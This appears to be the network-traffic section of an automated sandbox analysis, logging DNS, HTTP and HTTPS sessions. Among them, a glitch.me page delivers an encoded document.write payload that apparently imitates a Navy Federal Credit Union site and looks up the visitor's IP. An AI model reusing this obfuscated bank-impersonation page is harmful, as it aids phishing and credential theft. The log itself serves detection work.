May 25, 2024 00:46:45.085565090 CEST	1.1.1.1	192.168.2.6	0x2230	No error (0)	manifest.prod.boltdns.net	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:45.085565090 CEST	1.1.1.1	192.168.2.6	0x2230	No error (0)	dualstack.brightcove.map.fastly.net		151.101.130.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:45.085565090 CEST	1.1.1.1	192.168.2.6	0x2230	No error (0)	dualstack.brightcove.map.fastly.net		151.101.2.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:45.085565090 CEST	1.1.1.1	192.168.2.6	0x2230	No error (0)	dualstack.brightcove.map.fastly.net		151.101.194.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:45.085565090 CEST	1.1.1.1	192.168.2.6	0x2230	No error (0)	dualstack.brightcove.map.fastly.net		151.101.66.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:45.091340065 CEST	1.1.1.1	192.168.2.6	0xf5fb	No error (0)	manifest.prod.boltdns.net	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:45.582357883 CEST	1.1.1.1	192.168.2.6	0x1c78	No error (0)	match.sync.ad.cpe.dotomi.com	convex-rr.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:45.582375050 CEST	1.1.1.1	192.168.2.6	0xdd2b	No error (0)	match.sync.ad.cpe.dotomi.com	convex-rr.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:46.127757072 CEST	1.1.1.1	192.168.2.6	0x61f5	No error (0)	bcbolt446c5271-a.akamaihd.net	bcbolt446c5271-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:46.139448881 CEST	1.1.1.1	192.168.2.6	0x4c6e	No error (0)	bcbolt446c5271-a.akamaihd.net	bcbolt446c5271-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:46.776236057 CEST	1.1.1.1	192.168.2.6	0xf781	No error (0)	load77.exelator.com	1605158521.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:46.776267052 CEST	1.1.1.1	192.168.2.6	0x74e3	No error (0)	load77.exelator.com	1605158521.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:46.776267052 CEST	1.1.1.1	192.168.2.6	0x74e3	No error (0)	1605158521.rsc.cdn77.org		212.102.56.182	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:46.776267052 CEST	1.1.1.1	192.168.2.6	0x74e3	No error (0)	1605158521.rsc.cdn77.org		195.181.175.40	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:46.776267052 CEST	1.1.1.1	192.168.2.6	0x74e3	No error (0)	1605158521.rsc.cdn77.org		195.181.175.15	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:46.776267052 CEST	1.1.1.1	192.168.2.6	0x74e3	No error (0)	1605158521.rsc.cdn77.org		156.146.33.137	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:46.776267052 CEST	1.1.1.1	192.168.2.6	0x74e3	No error (0)	1605158521.rsc.cdn77.org		195.181.170.19	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:46.776267052 CEST	1.1.1.1	192.168.2.6	0x74e3	No error (0)	1605158521.rsc.cdn77.org		156.146.33.141	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:46.776267052 CEST	1.1.1.1	192.168.2.6	0x74e3	No error (0)	1605158521.rsc.cdn77.org		212.102.56.179	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:47.907476902 CEST	1.1.1.1	192.168.2.6	0x12f0	No error (0)	bcbolt446c5271-a.akamaihd.net	bcbolt446c5271-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:47.907490015 CEST	1.1.1.1	192.168.2.6	0x70a8	No error (0)	bcbolt446c5271-a.akamaihd.net	bcbolt446c5271-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:50.282680035 CEST	1.1.1.1	192.168.2.6	0x3b6e	No error (0)	mid.rkdms.com		54.85.195.106	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:50.282680035 CEST	1.1.1.1	192.168.2.6	0x3b6e	No error (0)	mid.rkdms.com		3.232.174.86	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:50.282682896 CEST	1.1.1.1	192.168.2.6	0x2e12	No error (0)	io.narrative.io		52.49.81.5	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:50.282682896 CEST	1.1.1.1	192.168.2.6	0x2e12	No error (0)	io.narrative.io		34.254.23.176	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:51.295355082 CEST	1.1.1.1	192.168.2.6	0x7c34	No error (0)	track2.securedvisit.com		54.84.230.88	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:51.295355082 CEST	1.1.1.1	192.168.2.6	0x7c34	No error (0)	track2.securedvisit.com		54.198.213.221	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49704	18.210.59.152	80	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 25, 2024 00:45:22.840033054 CEST	470	OUT	GET /public/RRENFCONL0.HTML HTTP/1.1 Host: delicious-decorous-army.glitch.me Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 25, 2024 00:45:23.397075891 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:45:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2860861 Connection: keep-alive x-amz-id-2: 13RDONcZAfkEqLTowKusNYoVM/ogcddAwKUlKSnK1h4PRrcgC1EDvQaonGxG+ksHV1JPjQN/eYI= x-amz-request-id: RPSGB9V1CVWWECN9 last-modified: Wed, 22 May 2024 17:35:28 GMT etag: "64f7cf30b06d38dce1e7507928cb4723" x-amz-server-side-encryption: AES256 cache-control: no-cache x-amz-version-id: null accept-ranges: bytes server: AmazonS3 Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 3c 21 2d 2d 20 2d 2d 3e 0a 3c 21 2d 2d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 27 25 33 63 25 32 31 25 34 34 25 34 66 25 34 33 25 35 34 25 35 39 25 35 30 25 34 35 25 32 30 25 36 38 25 37 34 25 36 64 25 36 63 25 33 65 25 33 63 25 36 38 25 37 34 25 36 64 25 36 63 25 32 30 25 36 63 25 36 31 25 36 65 25 36 37 25 33 64 25 32 32 25 36 35 25 36 65 25 32 32 25 33 65 25 33 63 25 36 38 25 36 35 25 36 31 25 36 34 25 33 65 25 30 64 25 30 61 25 33 63 25 36 63 25 36 39 25 36 65 25 36 62 25 32 30 25 37 32 25 36 35 25 36 63 25 33 64 25 32 32 25 36 39 25 36 33 25 36 66 25 36 65 25 32 32 25 32 30 25 36 34 25 36 31 25 37 34 25 36 31 25 32 64 25 37 33 25 36 31 25 37 36 25 36 35 25 37 30 25 36 31 25 36 37 25 36 35 25 32 64 25 36 38 25 37 32 25 36 35 25 36 36 25 33 64 25 32 32 25 36 39 25 36 33 25 36 66 25 32 32 25 32 30 25 36 38 25 37 32 25 36 35 25 36 36 25 33 64 25 32 32 25 36 34 25 36 31 [TRUNCATED] Data Ascii: <script type="text/javascript">... -->...document.write(unescape('%3c%21%44%4f%43%54%59%50%45%20%68%74%6d%6c%3e%3c%68%74%6d%6c%20%6c%61%6e%67%3d%22%65%6e%22%3e%3c%68%65%61%64%3e%0d%0a%3c%6c%69%6e%6b%20%72%65%6c%3d%22%69%63%6f%6e%22%20%64%61%74%61%2d%73%61%76%65%70%61%67%65%2d%68%72%65%66%3d%22%69%63%6f%22%20%68%72%65%66%3d%22%64%61%74%61%3a%69%6d%61%67%65%2f%78%2d%69%63%6f%6e%3b%62%61%73%65%36%34%2c%41%41%41%42%41%41%45%41%45%42%41%41%41%41%45%41%49%41%42%6f%42%41%41%41%46%67%41%41%41%43%67%41%41%41%41%51%41%41%41%41%49%41%41%41%41%41%45%41%49%41%41%41%41%41%41%41%51%41%51%41%41%42%4d%4c%41%41%41%54%43%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%70%47%41%6a%55%4b%52%67%49%36%
May 25, 2024 00:45:23.397331953 CEST	1236	IN	Data Raw: 32 62 25 36 62 25 35 39 25 34 33 25 35 30 25 37 36 25 37 30 25 34 37 25 34 31 25 36 61 25 32 66 25 33 36 25 35 32 25 36 37 25 34 39 25 32 62 25 32 62 25 36 62 25 35 39 25 34 33 25 35 30 25 37 36 25 37 30 25 34 37 25 34 31 25 36 61 25 37 32 25 33 Data Ascii: 2b%6b%59%43%50%76%70%47%41%6a%2f%36%52%67%49%2b%2b%6b%59%43%50%76%70%47%41%6a%72%36%52%67%49%30%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%6b%59%43%4d%51%70%47%41%6a%76%36%52%67%49%2f%2b%
May 25, 2024 00:45:23.401766062 CEST	1236	IN	Data Raw: 34 31 25 34 31 25 34 31 25 34 31 25 34 33 25 36 62 25 35 39 25 34 33 25 34 66 25 32 66 25 37 30 25 34 37 25 34 31 25 36 61 25 34 39 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 33 25 36 62 25 35 39 25 34 33 25 34 66 25 34 31 25 37 30 25 34 Data Ascii: 41%41%41%41%43%6b%59%43%4f%2f%70%47%41%6a%49%41%41%41%41%41%43%6b%59%43%4f%41%70%47%41%6a%51%41%41%41%41%41%43%6b%59%43%4d%67%70%47%41%6a%72%77%41%41%41%41%43%6b%59%43%4f%66%70%47%41%6a%59%4b%52%67%49%36%2b%6b%59%43%50%66%70%47%41%6a%67%4b%52%
May 25, 2024 00:45:23.401801109 CEST	1236	IN	Data Raw: 34 31 25 36 61 25 37 32 25 33 36 25 35 32 25 36 37 25 34 39 25 33 32 25 34 33 25 36 62 25 35 39 25 34 33 25 34 66 25 35 30 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 62 25 35 32 25 36 37 25 34 39 25 33 37 25 32 62 25 36 62 25 35 39 25 34 Data Ascii: 41%6a%72%36%52%67%49%32%43%6b%59%43%4f%50%41%41%41%41%41%4b%52%67%49%37%2b%6b%59%43%4d%67%41%41%41%41%41%4b%52%67%49%34%43%6b%59%43%4e%41%41%41%41%41%41%4b%52%67%49%79%43%6b%59%43%4f%76%41%41%41%41%41%4b%52%67%49%34%2b%6b%59%43%4e%67%70%47%41%
May 25, 2024 00:45:23.402235985 CEST	1236	IN	Data Raw: 34 64 25 35 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 Data Ascii: 4d%51%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%70%47%41%6a%59%4b%52%67%49%36%2b%6b%59%43%50%2f%70%47%41%6a%37%36%52%67%49%39%2b%6b%59%43%50%2f%70%47%41%6a%72%36%52%67%49%32%41%41%41%41%41%
May 25, 2024 00:45:23.402270079 CEST	1236	IN	Data Raw: 37 32 25 36 35 25 32 30 25 37 39 25 36 66 25 37 35 25 32 30 25 37 33 25 36 35 25 37 32 25 37 36 25 36 35 25 32 65 25 32 30 25 35 33 25 36 35 25 37 32 25 37 36 25 36 39 25 36 65 25 36 37 25 32 30 25 37 34 25 36 38 25 36 35 25 32 30 25 34 65 25 36 Data Ascii: 72%65%20%79%6f%75%20%73%65%72%76%65%2e%20%53%65%72%76%69%6e%67%20%74%68%65%20%4e%61%76%79%2c%20%41%72%6d%79%2c%20%4d%61%72%69%6e%65%20%43%6f%72%70%73%2c%20%41%69%72%20%46%6f%72%63%65%2c%20%56%65%74%65%72%61%6e%73%2c%20%61%6e%64%20%44%6f%44%2e%
May 25, 2024 00:45:23.404434919 CEST	1236	IN	Data Raw: 30 64 25 30 61 25 33 63 25 36 64 25 36 35 25 37 34 25 36 31 25 32 30 25 36 65 25 36 31 25 36 64 25 36 35 25 33 64 25 32 32 25 37 34 25 36 39 25 37 34 25 36 63 25 36 35 25 32 32 25 32 30 25 36 33 25 36 66 25 36 65 25 37 34 25 36 35 25 36 65 25 37 Data Ascii: 0d%0a%3c%6d%65%74%61%20%6e%61%6d%65%3d%22%74%69%74%6c%65%22%20%63%6f%6e%74%65%6e%74%3d%22%4e%61%76%79%20%46%65%64%65%72%61%6c%20%43%72%65%64%69%74%20%55%6e%69%6f%6e%20%2d%20%41%62%6f%75%74%20%55%73%22%3e%0d%0a%3c%6d%65%74%61%20%6e%61%6d%65%3d%
May 25, 2024 00:45:23.404469013 CEST	1236	IN	Data Raw: 36 35 25 37 31 25 37 35 25 36 39 25 37 36 25 33 64 25 32 32 25 36 39 25 36 64 25 36 31 25 36 37 25 36 35 25 37 34 25 36 66 25 36 66 25 36 63 25 36 32 25 36 31 25 37 32 25 32 32 25 32 30 25 36 33 25 36 66 25 36 65 25 37 34 25 36 35 25 36 65 25 37 Data Ascii: 65%71%75%69%76%3d%22%69%6d%61%67%65%74%6f%6f%6c%62%61%72%22%20%63%6f%6e%74%65%6e%74%3d%22%6e%6f%22%3e%0d%0a%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%43%6f%6e%74%65%6e%74%2d%54%79%70%65%22%20%63%6f%6e%74%65%6e%74%3d%22%74%65%78%74%
May 25, 2024 00:45:23.406625032 CEST	1236	IN	Data Raw: 37 30 25 34 37 25 34 31 25 36 61 25 37 32 25 33 36 25 35 32 25 36 37 25 34 39 25 33 30 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 Data Ascii: 70%47%41%6a%72%36%52%67%49%30%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%6b%59%43%4d%51%70%47%41%6a%76%36%52%67%49%2f%2b%6b%59%43%50%76%70%47%41%6a%37%36%52%67%49%37%2b%6b%59%43%4f%66%70%
May 25, 2024 00:45:23.407622099 CEST	1236	IN	Data Raw: 35 39 25 34 33 25 34 66 25 34 31 25 37 30 25 34 37 25 34 31 25 36 61 25 35 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 33 25 36 62 25 35 39 25 34 33 25 34 64 25 36 37 25 37 30 25 34 37 25 34 31 25 36 61 25 37 32 25 37 37 25 34 31 25 34 Data Ascii: 59%43%4f%41%70%47%41%6a%51%41%41%41%41%41%43%6b%59%43%4d%67%70%47%41%6a%72%77%41%41%41%41%43%6b%59%43%4f%66%70%47%41%6a%59%4b%52%67%49%36%2b%6b%59%43%50%66%70%47%41%6a%67%4b%52%67%49%31%41%41%41%41%41%41%70%47%41%6a%76%77%41%41%41%41%41%41%41%
May 25, 2024 00:45:23.407656908 CEST	1236	IN	Data Raw: 34 39 25 33 37 25 32 62 25 36 62 25 35 39 25 34 33 25 34 64 25 36 37 25 34 31 25 34 31 25 34 31 25 34 31 25 34 31 25 34 62 25 35 32 25 36 37 25 34 39 25 33 34 25 34 33 25 36 62 25 35 39 25 34 33 25 34 65 25 34 31 25 34 31 25 34 31 25 34 31 25 34 Data Ascii: 49%37%2b%6b%59%43%4d%67%41%41%41%41%41%4b%52%67%49%34%43%6b%59%43%4e%41%41%41%41%41%41%4b%52%67%49%79%43%6b%59%43%4f%76%41%41%41%41%41%4b%52%67%49%34%2b%6b%59%43%4e%67%70%47%41%6a%72%36%52%67%49%32%43%6b%59%43%50%76%70%47%41%6a%37%36%52%67%49%
May 25, 2024 00:45:35.465168953 CEST	571	OUT	GET /public/RRENFCONL0.HTML HTTP/1.1 Host: delicious-decorous-army.glitch.me Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 If-None-Match: "64f7cf30b06d38dce1e7507928cb4723" If-Modified-Since: Wed, 22 May 2024 17:35:28 GMT
May 25, 2024 00:45:35.606762886 CEST	371	IN	HTTP/1.1 304 Not Modified Date: Fri, 24 May 2024 22:45:35 GMT Connection: keep-alive x-amz-id-2: hCFnlYohy3uzovdSq+amY8uaTvNymh/xjI8B7QT2Je1Lef2YaAB6NFQwp/gElyOsIvEEuvPzjQ0= x-amz-request-id: MB6230G3DS5HRZNF last-modified: Wed, 22 May 2024 17:35:28 GMT etag: "64f7cf30b06d38dce1e7507928cb4723" cache-control: no-cache x-amz-version-id: null server: AmazonS3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49705	18.210.59.152	80	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 25, 2024 00:46:07.855104923 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
May 25, 2024 00:46:29.118314981 CEST	192.132.33.69	443	192.168.2.6	50189	CN=*.bttrack.com CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Fri Mar 01 01:00:00 CET 2024 Fri Nov 02 01:00:00 CET 2018 Tue Mar 12 01:00:00 CET 2019 Fri Nov 02 01:00:00 CET 2018 Tue Mar 12 01:00:00 CET 2019	Wed Apr 02 01:59:59 CEST 2025 Wed Jan 01 00:59:59 CET 2031 Mon Jan 01 00:59:59 CET 2029 Wed Jan 01 00:59:59 CET 2031 Mon Jan 01 00:59:59 CET 2029	771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,18-51-35-5-27-0-23-10-11-17513-45-65037-13-43-65281-16-41,29-23-24,0	540c4a335737a21e0a8f9b812f34fbad
					CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB	CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	Fri Nov 02 01:00:00 CET 2018	Wed Jan 01 00:59:59 CET 2031
					CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Mar 12 01:00:00 CET 2019	Mon Jan 01 00:59:59 CET 2029
					CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB	CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	Fri Nov 02 01:00:00 CET 2018	Wed Jan 01 00:59:59 CET 2031
					CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Mar 12 01:00:00 CET 2019	Mon Jan 01 00:59:59 CET 2029

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:26 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-24 22:45:26 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=149088 Date: Fri, 24 May 2024 22:45:26 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	162.19.58.158	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:27 UTC	607	OUT	GET /RpLNy4f/ajax-loader.gif HTTP/1.1 Host: i.ibb.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://delicious-decorous-army.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:27 UTC	378	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 22:45:27 GMT Content-Type: image/gif Content-Length: 3208 Connection: close Last-Modified: Tue, 02 Mar 2021 22:27:30 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2024-05-24 22:45:27 UTC	3208	IN	Data Raw: 47 49 46 38 39 61 20 00 20 00 f3 00 00 ff ff ff 00 00 00 c6 c6 c6 84 84 84 b6 b6 b6 9a 9a 9a 36 36 36 56 56 56 d8 d8 d8 e4 e4 e4 bc bc bc 1e 1e 1e 04 04 04 00 00 00 00 00 00 00 00 00 21 fe 1a 43 72 65 61 74 65 64 20 77 69 74 68 20 61 6a 61 78 6c 6f 61 64 2e 69 6e 66 6f 00 21 f9 04 00 0a 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 20 00 20 00 00 04 e7 10 c8 49 69 61 a5 ea cd e7 62 4b 85 24 9d 46 0c 15 a3 52 02 41 94 54 b2 2c 07 a5 32 53 e2 2a 30 35 2f 2f c9 6d a2 70 21 7a 93 c1 cc 30 19 02 10 3b 24 c5 30 43 01 9c 2e 02 49 2a 21 fc 48 43 28 41 40 11 6f 01 04 83 21 33 39 54 35 ba 5c d1 38 29 a8 0d 87 a0 60 c1 ee b4 b2 64 14 07 77 78 47 3d 59 04 0a 67 14 04 83 77 48 62 86 1d 76 06 41 3d 92 30 09 56 5c 9c 5c 88 3b 09 02 05 Data Ascii: GIF89a 666VVV!Created with ajaxload.info!!NETSCAPE2.0, IiabK$FRAT,2S05//mp!z0;$0C.I!HC(A@o!39T5\8)`dwxG=YgwHbvA=0V\\;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:27 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-24 22:45:27 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=149023 Date: Fri, 24 May 2024 22:45:27 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-24 22:45:27 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49710	195.80.159.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:27 UTC	625	OUT	GET /ip.js?var=userip HTTP/1.1 Host: l2.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://delicious-decorous-army.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:27 UTC	167	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:45:27 GMT Server: Apache/2.4.38 (Debian) Content-Length: 24 Connection: close Content-Type: text/html; charset=UTF-8
2024-05-24 22:45:27 UTC	24	IN	Data Raw: 75 73 65 72 69 70 20 3d 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 3b Data Ascii: userip = "8.46.123.175";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49713	162.19.58.160	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:28 UTC	355	OUT	GET /RpLNy4f/ajax-loader.gif HTTP/1.1 Host: i.ibb.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:28 UTC	378	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 22:45:28 GMT Content-Type: image/gif Content-Length: 3208 Connection: close Last-Modified: Tue, 02 Mar 2021 22:27:30 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
